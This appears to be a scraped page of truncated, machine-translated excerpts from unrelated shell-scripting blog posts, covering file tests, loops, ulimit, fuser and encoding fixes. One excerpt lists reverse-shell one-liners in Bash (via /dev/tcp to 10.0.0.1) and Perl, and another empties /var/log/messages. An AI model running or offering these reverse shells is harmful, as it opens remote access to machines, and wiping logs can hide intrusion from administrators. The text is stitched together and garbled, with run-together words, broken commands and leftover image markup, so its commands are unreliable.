Shell

Interactive commands: Variable content is determined by the userRead [-PT] Variable-P: Can be followed by a prompt-T: The number of seconds to wait afterecho [-ne] Stringecho [--help] [--version]-N: Do not wrap in the last line-E: If the following

1. Monitoring commands (run once every 2 seconds)watch "ls -larth"2. Kill the program with one portsudo fuser -k 8000/tcp3. Limit the memory usage of the following commandsulimit -Sv 1000 # 1000 KBs = 1 MBulimit -Sv unlimited # Remove limit4.

WedgeRecently like the script so learn a little bit and solidify yourself.Simple Log emptying note! This is a test environment that can be emptied freely.Cd/var/logCat/dev/null>messagesecho "Logs cleaned up."One, can vim a file name example

1. Bash BounceBash-i >&/dev/tcp/10.0.0.1/8080 0>&12. PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S), Sockaddr_in ($p, Inet_aton ($i))) {Open (STDIN, ">&s"), open (STDOUT,

(1) The shell prints the pattern as shown.650) this.width=650; "Src=" https://s4.51cto.com/wyfs02/M01/07/9D/wKiom1nMh-ygSI1MAAAj5j4UcHs376.png-wh_500x0-wm_ 3-wmp_4-s_3715701053.png "title=" capture. PNG "alt=" Wkiom1nmh-ygsi1maaaj5j4uchs376.png-wh_50

by Francis_hao Sep 30,2017Photo from reference "1"This article was authored by Liu Yinghao and licensed under the Creative Commons Attribution-NonCommercial use-Share 3.0 Chinese mainland license agreement in the same way. Welcome reprint, please

The shell function is similar to a shell script, which holds a series of instructions, but the Shell function is in memory, not the hard disk file, so it is fast, and the shell can preprocess the function, so the function starts faster than the

The Shell's own abilities.Writing scripts is OK, at least now I'm running a script on the InternetProgram-Log scheduled backup and delete, NFS Shanghai volume file Delete and send mail."Data"Export

$ cat dowonload_image.sh #!/bin/bash######################################### #图片下载器                                 # #script_name: dowonload_image.sh          # #author:weixiaoxin write by 2017-09-20    #     #######################################

Logical symbols1. about the file and directory of the detection of Logical volume label!- F Common! Detect if "Archive" exists eg:if [-f filename]- D common! Detects if the directory exists- B detection is a "block file"- C detection is a

Problem situation:1. Hive Shell Chinese garbled　2.Hbase Shell Chinese garbled　Solutions 1At the command line, enterExport lang= "en_US. UTF-8 "then enterTemporarily change system encodingThis method is only temporary.Workaround 2sudo

Need to read a text, the second text each line contains an IP in the while loop using SSH, but after the first line of SSH exited, how to avoid automatically reading a line out of the while loop, this article will explain its reasons in

This blog is referenced from:Http://www.cnblogs.com/waitig/p/5523409.html"Shell from Beginner to mastery" Zhang ChunxiaoShell IntroductionThe shell itself is a program written in C, a user to use UNIX or Linux bridge, most of the user's work needs

File system1. File system partition structure is divided into Inode group and data domainThe 2.linux file is divided into directories and binary files3. Catalog items are stored in the directory, and the directory entry records the file name and

shell programming often encounters strings, file content-case conversions, and choosing the right commands in different scenarios can improve programming efficiency. Applicable Scenariosfile contents or strings that need to be converted to uppercase

File comparison Operators-e filename true if filename exists [-e/var/log/syslog]-D filename True if filename is a directory [-d/tmp/mydir]-F filename True if filename is a regular file [-f/usr/bin/grep]-L filename True if filename is a symbolic link

Environment variables in Linux include system-level and user-level, system-level environment variables are system variables to be read by every user logged into the system, and user-level environment variables are the environment variables that are

The idea is to learn the code creation is their own very like the first few lines of logic rigorous#!/bin/bash#判断两个整数的大小Read-p "Please enter two integers a B:" A B#或者使用a =$1[-Z "$a"]| | [-Z "$b"]&&{echo "The number you entered is zero"Exit

For syntax formatfor Var in list;doCommandsDoneWhere list can contain:1) write directlyFor Alpha in a B C d;do echo $alphadone2) variablesList= "A b c D" for Alpha in $list;d o echo $alphadoneThe variable is replaced when the shell executes,

Because the shell appears to be a common feature between UNIX systems and is standardized by POSIX.As a result, shell scripts can be applied to many systems once they are "written attentively".Therefore, the shell script is used because of the